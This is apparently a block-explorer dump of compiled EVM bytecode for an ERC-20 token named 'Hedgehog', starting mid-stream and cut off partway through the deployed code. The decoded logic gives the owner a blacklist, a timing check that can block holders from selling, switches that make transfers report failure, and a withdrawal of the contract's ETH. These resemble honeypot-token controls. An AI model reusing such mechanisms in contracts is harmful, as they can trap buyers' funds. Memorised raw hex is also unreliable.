0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610dec576001600160a01b0381165f90815260036020526040902054610dd390610afc565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d349082611b38565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a2f918590610a919086906129a1565b5f546001600160a01b03163314610ec55760405162461bcd60e51b8152600401610ad59061291d565b6040514790339082156108fc029083905f818181858888f19350505050158015610d34573d5f803e3d5ffd5b5f546001600160a01b03163314610f1a5760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610f905760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610ad5565b81610fab575f610fa1846001611b4c565b519150610a339050565b5f610fb7846001611b4c565b602001519150610a339050565b5f546001600160a01b03163314610fed5760405162461bcd60e51b8152600401610ad59061291d565b5f5b8181101561105257600160065f85858581811061100e5761100e612952565b90506020020160208101906110239190612767565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610fef565b505050565b5f546001600160a01b031633146110805760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110c95760405162461bcd60e51b8152600401610ad59061291d565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111065760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381165f9081526007602052604090205460ff161561116e5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610ad5565b6001600160a01b0381165f90815260036020526040902054156111c5576001600160a01b0381165f908152600360205260409020546111ac90610afc565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112535760405162461bcd60e51b8152600401610ad59061291d565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff161561129357506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146112d75760405162461bcd60e51b8152600401610ad59061291d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146113485760405162461bcd60e51b8152600401610ad59061291d565b601b93909355601c91909155601d55601e55565b5f835f0361136b57505f610aa5565b5f611376854261297a565b9050600f54810361138b576001915050610aa5565b805f036113b0576010546001600160a01b038481169116146113b0575f915050610aa5565b8381116113c1576001915050610aa5565b505f949350505050565b5f610a2f3384610a9185604051806060016040528060258152602001612a1360259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b0d565b5f61142433848461189c565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114615760405162461bcd60e51b8152600401610ad59061291d565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b0316331461151c5760405162461bcd60e51b8152600401610ad59061291d565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061156990831515815260200190565b60405180910390a150565b5f546001600160a01b0316331461159d5760405162461bcd60e51b8152600401610ad59061291d565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146115e45760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b0316331461162d5760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381166116925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ad5565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117145760405162461bcd60e51b8152600401610ad59061291d565b5f5b81811015611052576001600a5f85858581811061173557611735612952565b905060200201602081019061174a9190612767565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611716565b6001600160a01b0383166117db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ad5565b6001600160a01b03821661183c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ad5565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff161580156118dc57506001600160a01b0382165f908152600a602052604090205460ff16155b6119285760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610ad5565b6001600160a01b03831661198c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ad5565b6001600160a01b0382166119ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ad5565b5f8111611a4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ad5565b611a5883611258565b811115611ac05760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610ad5565b6001600160a01b0383165f908152600660205260409020546110529084908490849060ff1680611b0757506001600160a01b0386165f9081526006602052604090205460ff165b15611b94565b5f8184841115611b305760405162461bcd60e51b8152600401610ad591906126ef565b505050900390565b5f610aa5836001600160a01b038416612142565b611b546126a0565b611b5e8383612225565b9050611b73818484611b6e612303565b612324565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d5b576023546001600160a01b0390811690851603611c66575f546001600160a01b03858116911614801590611bda57505f546001600160a01b03848116911614155b8015611bf057506001600160a01b038316600114155b15611c2e576001600160a01b0383165f908152600860205260408120549003611c2e576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611dd3565b5f546001600160a01b03858116911614801590611c9057505f546001600160a01b03848116911614155b8015611ca657506001600160a01b038316600114155b15611d23576001600160a01b0384165f90815260086020526040812054611cd090600e548761135c565b905080611d075760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610ad5565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611dd3565b6001600160a01b0384165f9081526006602052604090205460ff1615611d9757601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611dd357601080546001600160a01b0319166001600160a01b0385161790555b5f611dde8383611b4c565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e2057506001600160a01b0384165f9081526007602052604090205460ff16155b15611e65576001600160a01b0385165f90815260046020526040902054611e4890849061297a565b6001600160a01b0386165f90815260046020526040902055611fa2565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ea457506001600160a01b0384165f9081526007602052604090205460ff165b15611eed5760c08101516001600160a01b0385165f90815260046020526040902054611ed091906129a1565b6001600160a01b0385165f90815260046020526040902055611fa2565b6001600160a01b0385165f9081526007602052604090205460ff168015611f2b57506001600160a01b0384165f9081526007602052604090205460ff165b15611fa2576001600160a01b0385165f90815260046020526040902054611f5390849061297a565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611f8991906129a1565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611fc6919061297a565b6001600160a01b038087165f9081526003602090815260408083209490945584015191871681529190912054611ffc91906129a1565b6001600160a01b0385165f9081526003602052604090205581156120c25761202c81604001518260e0015161239b565b61203f81606001518261010001516123c9565b6120528160800151826101200151612464565b6120658160a00151826101400151612491565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120b091906129a1565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161210b91815260200190565b60405180910390a361211e6001856124d0565b5061212885611258565b5f0361213b57612139600186611b38565b505b5050505050565b5f818152600183016020526040812054801561221c575f61216460018361297a565b85549091505f906121779060019061297a565b90508181146121d6575f865f01828154811061219557612195612952565b905f5260205f200154905080875f0184815481106121b5576121b5612952565b5f918252602080832090910192909255918252600188019052604090208390555b85548690806121e7576121e761298d565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a33565b5f915050610a33565b61222d6126a0565b8161223e5760c08101839052610a33565b601f5460649061224e90856129b4565b61225891906129cb565b60e082015260205460649061226d90856129b4565b61227791906129cb565b61010082015260215460649061228d90856129b4565b61229791906129cb565b6101208201526022546064906122ad90856129b4565b6122b791906129cb565b610140820181905261012082015161010083015160e08401516122da908761297a565b6122e4919061297a565b6122ee919061297a565b6122f8919061297a565b60c082015292915050565b5f805f61230e6124e4565b909250905061231d81836129cb565b9250505090565b506001825f808080808761234557508493505f92508291508190508061238e565b5050505060e086015161010087015161012088015161014089015180828461236d878a61297a565b612377919061297a565b612381919061297a565b61238b919061297a565b94505b9499939850945094509450565b81600d546123a9919061297a565b600d55601180548291905f906123c09084906129a1565b90915550505050565b8060155f015f8282546123dc91906129a1565b9091555050601280548291905f906123f59084906129a1565b9091555050305f908152600360205260409020546124149083906129a1565b305f9081526003602090815260408083209390935560079052205460ff1615610d3457305f908152600460205260409020546124519082906129a1565b305f908152600460205260409020555050565b8060156001015f82825461247891906129a1565b9091555050601380548291905f906123f59084906129a1565b8060116003015f8282546124a591906129a1565b9091555050600c546124b890829061297a565b600c55600d546124c990839061297a565b600d555050565b5f610aa5836001600160a01b038416612654565b600d54600c545f918291825b600b54811015612623578260035f600b848154811061251157612511612952565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054118061257957508160045f600b848154811061255357612553612952565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561258f57600d54600c54945094505050509091565b60035f600b83815481106125a5576125a5612952565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546125d3908461297a565b925060045f600b83815481106125eb576125eb612952565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054612619908361297a565b91506001016124f0565b50600c54600d5461263491906129cb565b82101561264b57600d54600c549350935050509091565b90939092509050565b5f81815260018301602052604081205461269957508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a33565b505f610a33565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461273a575f80fd5b919050565b5f8060408385031215612750575f80fd5b61275983612724565b946020939093013593505050565b5f60208284031215612777575f80fd5b610aa582612724565b5f805f60608486031215612792575f80fd5b61279b84612724565b92506127a960208501612724565b929592945050506040919091013590565b8035801515811461273a575f80fd5b5f602082840312156127d9575f80fd5b610aa5826127ba565b5f602082840312156127f2575f80fd5b5035919050565b5f806040838503121561280a575f80fd5b8235915061281a602084016127ba565b90509250929050565b5f8060208385031215612834575f80fd5b823567ffffffffffffffff81111561284a575f80fd5b8301601f8101851361285a575f80fd5b803567ffffffffffffffff811115612870575f80fd5b8560208260051b8401011115612884575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128a7575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f606084860312156128d5575f80fd5b83359250602084013591506128ec60408501612724565b90509250925092565b5f8060408385031215612906575f80fd5b61290f83612724565b915061281a60208401612724565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a3357610a33612966565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a3357610a33612966565b8082028115828204841417610a3357610a33612966565b5f826129e557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122039f59f1c0b92c7d5b359d06be548f12473e341c2d8aa2a956985e50d046ab1e464736f6c634300081a0033000000000000000000000000a2c00ac832708b57a2bdcf8f17788fad00fa28a2
Deployed Bytecode
0x6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109a7578063f6d7eade146109c6578063f9214005146109e5578063ff89757014610a04575f80fd5b8063ea2f0b371461093e578063ecbde40c1461095d578063efbe389a14610988575f80fd5b8063bc0ad5a314610849578063c2b7bbb614610869578063c49b9a8014610888578063dd62ed3e146108a7578063e2255e29146108eb578063e7e645191461090a575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107c1578063a457c2d7146107e0578063a8be9a58146107ff578063a9059cbb1461082a575f80fd5b806395d89b41146103015780639b26c9231461078a5780639ba5e4d51461079f575f80fd5b8063715018a61461069f57806373cafdc2146106b3578063786564c4146106d557806388f82020146106f45780638b7afe2e1461072b5780638da5cb5b1461075a575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105e85780635a1afc561461061f57806370a082311461063e578063713898cd1461065d575f80fd5b80634a74bb021461058a57806351ecfeae146105aa57806352390c02146105c9575f80fd5b80633ccfd60b146104c65780634359a871146104da578063437823ec1461050e5780634549b0391461052d5780634a17beb11461054c5780634a49ac4c1461056b575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc1461044a5780633685d41914610469578063370f0a601461048857806339509351146104a7575f80fd5b80632d838119146103fb578063313ce5671461041a57806331b72ff014610435575f80fd5b806306fdde0314610301578063095ea7b31461034057806318160ddd1461036f5780631cdd3be31461038d57806323b872dd146103bb578063275d53ce146103da575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b5060408051808201825260088152674865646765686f6760c01b6020820152905161033791906126ef565b60405180910390f35b34801561034b575f80fd5b5061035f61035a36600461273f565b610a23565b6040519015158152602001610337565b34801561037a575f80fd5b50600c545b604051908152602001610337565b348015610398575f80fd5b5061035f6103a7366004612767565b600a6020525f908152604090205460ff1681565b3480156103c6575f80fd5b5061035f6103d5366004612780565b610a39565b3480156103e5575f80fd5b506103f96103f43660046127c9565b610aac565b005b348015610406575f80fd5b5061037f6104153660046127e2565b610afc565b348015610425575f80fd5b5060405160098152602001610337565b348015610440575f80fd5b5061037f600f5481565b348015610455575f80fd5b506103f96104643660046127e2565b610b66565b348015610474575f80fd5b506103f9610483366004612767565b610b94565b348015610493575f80fd5b506103f96104a2366004612767565b610d38565b3480156104b2575f80fd5b5061035f6104c136600461273f565b610e66565b3480156104d1575f80fd5b506103f9610e9c565b3480156104e5575f80fd5b5061037f6104f4366004612767565b6001600160a01b03165f9081526008602052604090205490565b348015610519575f80fd5b506103f9610528366004612767565b610ef1565b348015610538575f80fd5b5061037f6105473660046127f9565b610f3d565b348015610557575f80fd5b506103f9610566366004612823565b610fc4565b348015610576575f80fd5b506103f9610585366004612767565b611057565b348015610595575f80fd5b5060255461035f90600160b81b900460ff1681565b3480156105b5575f80fd5b506103f96105c4366004612894565b6110a0565b3480156105d4575f80fd5b506103f96105e3366004612767565b6110dd565b3480156105f3575f80fd5b5061035f610602366004612767565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561062a575f80fd5b506103f96106393660046127e2565b61122a565b348015610649575f80fd5b5061037f610658366004612767565b611258565b348015610668575f80fd5b50601b54601c54601d54601e5461067f9392919084565b604080519485526020850193909352918301526060820152608001610337565b3480156106aa575f80fd5b506103f96112ae565b3480156106be575f80fd5b50601754601854601954601a5461067f9392919084565b3480156106e0575f80fd5b506103f96106ef366004612894565b61131f565b3480156106ff575f80fd5b5061035f61070e366004612767565b6001600160a01b03165f9081526007602052604090205460ff1690565b348015610736575f80fd5b50601554601654610745919082565b60408051928352602083019190915201610337565b348015610765575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610337565b348015610795575f80fd5b5061037f600e5481565b3480156107aa575f80fd5b5060115460125460135460145461067f9392919084565b3480156107cc575f80fd5b5061035f6107db3660046128c3565b61135c565b3480156107eb575f80fd5b5061035f6107fa36600461273f565b6113cb565b34801561080a575f80fd5b5061037f610819366004612767565b60086020525f908152604090205481565b348015610835575f80fd5b5061035f61084436600461273f565b611418565b348015610854575f80fd5b5060255461035f90600160a01b900460ff1681565b348015610874575f80fd5b506103f9610883366004612767565b611438565b348015610893575f80fd5b506103f96108a23660046127c9565b6114f3565b3480156108b2575f80fd5b5061037f6108c13660046128f5565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b3480156108f6575f80fd5b506103f96109053660046127c9565b611574565b348015610915575f80fd5b5061037f610924366004612767565b6001600160a01b03165f9081526009602052604090205490565b348015610949575f80fd5b506103f9610958366004612767565b6115bb565b348015610968575f80fd5b5061037f610977366004612767565b60096020525f908152604090205481565b348015610993575f80fd5b50602354610772906001600160a01b031681565b3480156109b2575f80fd5b506103f96109c1366004612767565b611604565b3480156109d1575f80fd5b50602454610772906001600160a01b031681565b3480156109f0575f80fd5b50601054610772906001600160a01b031681565b348015610a0f575f80fd5b506103f9610a1e366004612823565b6116eb565b5f610a2f338484611779565b5060015b92915050565b5f610a4584848461189c565b610a968433610a91856040518060600160405280602881526020016129eb602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b0d565b611779565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610ade5760405162461bcd60e51b8152600401610ad59061291d565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610ad5565b5090565b5f546001600160a01b03163314610b8f5760405162461bcd60e51b8152600401610ad59061291d565b600f55565b5f546001600160a01b03163314610bbd5760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381165f9081526007602052604090205460ff16610c245760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610ad5565b5f5b600b54811015610d3457816001600160a01b0316600b8281548110610c4d57610c4d612952565b5f918252602090912001546001600160a01b031603610d2c57600b8054610c769060019061297a565b81548110610c8657610c86612952565b5f91825260209091200154600b80546001600160a01b039092169183908110610cb157610cb1612952565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d0857610d0861298d565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c26565b5050565b5f546001600160a01b03163314610d615760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381165f9081526007602052604090205460ff16610e37576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610dec576001600160a01b0381165f90815260036020526040902054610dd390610afc565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d349082611b38565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a2f918590610a919086906129a1565b5f546001600160a01b03163314610ec55760405162461bcd60e51b8152600401610ad59061291d565b6040514790339082156108fc029083905f818181858888f19350505050158015610d34573d5f803e3d5ffd5b5f546001600160a01b03163314610f1a5760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610f905760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610ad5565b81610fab575f610fa1846001611b4c565b519150610a339050565b5f610fb7846001611b4c565b602001519150610a339050565b5f546001600160a01b03163314610fed5760405162461bcd60e51b8152600401610ad59061291d565b5f5b8181101561105257600160065f85858581811061100e5761100e612952565b90506020020160208101906110239190612767565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610fef565b505050565b5f546001600160a01b031633146110805760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110c95760405162461bcd60e51b8152600401610ad59061291d565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111065760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381165f9081526007602052604090205460ff161561116e5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610ad5565b6001600160a01b0381165f90815260036020526040902054156111c5576001600160a01b0381165f908152600360205260409020546111ac90610afc565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112535760405162461bcd60e51b8152600401610ad59061291d565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff161561129357506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146112d75760405162461bcd60e51b8152600401610ad59061291d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146113485760405162461bcd60e51b8152600401610ad59061291d565b601b93909355601c91909155601d55601e55565b5f835f0361136b57505f610aa5565b5f611376854261297a565b9050600f54810361138b576001915050610aa5565b805f036113b0576010546001600160a01b038481169116146113b0575f915050610aa5565b8381116113c1576001915050610aa5565b505f949350505050565b5f610a2f3384610a9185604051806060016040528060258152602001612a1360259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b0d565b5f61142433848461189c565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114615760405162461bcd60e51b8152600401610ad59061291d565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b0316331461151c5760405162461bcd60e51b8152600401610ad59061291d565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061156990831515815260200190565b60405180910390a150565b5f546001600160a01b0316331461159d5760405162461bcd60e51b8152600401610ad59061291d565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146115e45760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b0316331461162d5760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381166116925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ad5565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117145760405162461bcd60e51b8152600401610ad59061291d565b5f5b81811015611052576001600a5f85858581811061173557611735612952565b905060200201602081019061174a9190612767565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611716565b6001600160a01b0383166117db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ad5565b6001600160a01b03821661183c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ad5565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff161580156118dc57506001600160a01b0382165f908152600a602052604090205460ff16155b6119285760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610ad5565b6001600160a01b03831661198c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ad5565b6001600160a01b0382166119ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ad5565b5f8111611a4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ad5565b611a5883611258565b811115611ac05760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610ad5565b6001600160a01b0383165f908152600660205260409020546110529084908490849060ff1680611b0757506001600160a01b0386165f9081526006602052604090205460ff165b15611b94565b5f8184841115611b305760405162461bcd60e51b8152600401610ad591906126ef565b505050900390565b5f610aa5836001600160a01b038416612142565b611b546126a0565b611b5e8383612225565b9050611b73818484611b6e612303565b612324565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d5b576023546001600160a01b0390811690851603611c66575f546001600160a01b03858116911614801590611bda57505f546001600160a01b03848116911614155b8015611bf057506001600160a01b038316600114155b15611c2e576001600160a01b0383165f908152600860205260408120549003611c2e576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611dd3565b5f546001600160a01b03858116911614801590611c9057505f546001600160a01b03848116911614155b8015611ca657506001600160a01b038316600114155b15611d23576001600160a01b0384165f90815260086020526040812054611cd090600e548761135c565b905080611d075760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610ad5565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611dd3565b6001600160a01b0384165f9081526006602052604090205460ff1615611d9757601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611dd357601080546001600160a01b0319166001600160a01b0385161790555b5f611dde8383611b4c565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e2057506001600160a01b0384165f9081526007602052604090205460ff16155b15611e65576001600160a01b0385165f90815260046020526040902054611e4890849061297a565b6001600160a01b0386165f90815260046020526040902055611fa2565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ea457506001600160a01b0384165f9081526007602052604090205460ff165b15611eed5760c08101516001600160a01b0385165f90815260046020526040902054611ed091906129a1565b6001600160a01b0385165f90815260046020526040902055611fa2565b6001600160a01b0385165f9081526007602052604090205460ff168015611f2b57506001600160a01b0384165f9081526007602052604090205460ff165b15611fa2576001600160a01b0385165f90815260046020526040902054611f5390849061297a565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611f8991906129a1565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611fc6919061297a565b6001600160a01b038087165f9081526003602090815260408083209490945584015191871681529190912054611ffc91906129a1565b6001600160a01b0385165f9081526003602052604090205581156120c25761202c81604001518260e0015161239b565b61203f81606001518261010001516123c9565b6120528160800151826101200151612464565b6120658160a00151826101400151612491565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120b091906129a1565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161210b91815260200190565b60405180910390a361211e6001856124d0565b5061212885611258565b5f0361213b57612139600186611b38565b505b5050505050565b5f818152600183016020526040812054801561221c575f61216460018361297a565b85549091505f906121779060019061297a565b90508181146121d6575f865f01828154811061219557612195612952565b905f5260205f200154905080875f0184815481106121b5576121b5612952565b5f918252602080832090910192909255918252600188019052604090208390555b85548690806121e7576121e761298d565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a33565b5f915050610a33565b61222d6126a0565b8161223e5760c08101839052610a33565b601f5460649061224e90856129b4565b61225891906129cb565b60e082015260205460649061226d90856129b4565b61227791906129cb565b61010082015260215460649061228d90856129b4565b61229791906129cb565b6101208201526022546064906122ad90856129b4565b6122b791906129cb565b610140820181905261012082015161010083015160e08401516122da908761297a565b6122e4919061297a565b6122ee919061297a565b6122f8919061297a565b60c082015292915050565b5f805f61230e6124e4565b909250905061231d81836129cb565b9250505090565b506001825f808080808761234557508493505f92508291508190508061238e565b5050505060e086015161010087015161012088015161014089015180828461236d878a61297a565b612377919061297a565b612381919061297a565b61238b919061297a565b94505b9499939850945094509450565b81600d546123a9919061297a565b600d55601180548291905f906123c09084906129a1565b90915550505050565b8060155f015f8282546123dc91906129a1565b9091555050601280548291905f906123f59084906129a1565b90